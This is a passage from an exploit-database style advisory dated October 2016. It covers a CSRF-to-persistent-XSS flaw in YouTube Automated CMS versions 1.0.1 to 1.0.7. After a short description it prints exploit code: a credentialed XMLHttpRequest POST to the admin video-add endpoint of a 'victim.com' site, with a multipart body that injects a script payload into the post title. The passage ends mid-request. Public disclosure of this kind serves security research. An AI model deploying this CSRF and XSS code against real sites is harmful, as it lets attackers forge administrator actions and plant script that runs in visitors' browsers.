发布 2016-10-14 漏洞条目

YouTube Automated CMS 1.0.7 – Cross-Site Request Forgery / Persistent Cross-Site Scripting

Exploit Source

# Exploit Title: YouTube Automated CMS 1.0.1 / 1.0.7 - CSRF to Persistent XSS

# Date: 14 October 2016

# Exploit Author: Arbin Godar

# Website : ArbinGodar.com

# Software Link: https://codecanyon.net/item/youtube-automated-cms/12021939

# Version: 1.0.1 to 1.0.7

----------------------------------------------------------------------------------------------------------------------

Description:

An Attackers are able to execute js and perform CSRF on web

application using YouTube Automated CMS which allow an attacker to

create a post when an authenticated user/admin browses a special

crafted web page. All the process was also possible without any

authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean

vulnerable to XSS. So, now by creating CSRF exploit code for posting

an article with XSS alert JS payload as title of post. Now if the

attacker is able to perform CSRF attack sucessfully then XSS will be

triggered when someone opens the site using YouTube Automated CMS.

CSRF Exploit Code:

<html>

<body>

<title>[Youtube Automated CMS] CSRF to Persistent XSS</title>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");

xhr.withCredentials = true;

var body = "-----------------------------1681718590736\r\n" +

"Content-Disposition: form-data; name=\"title\"\r\n" +

"\r\n" +

"\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" +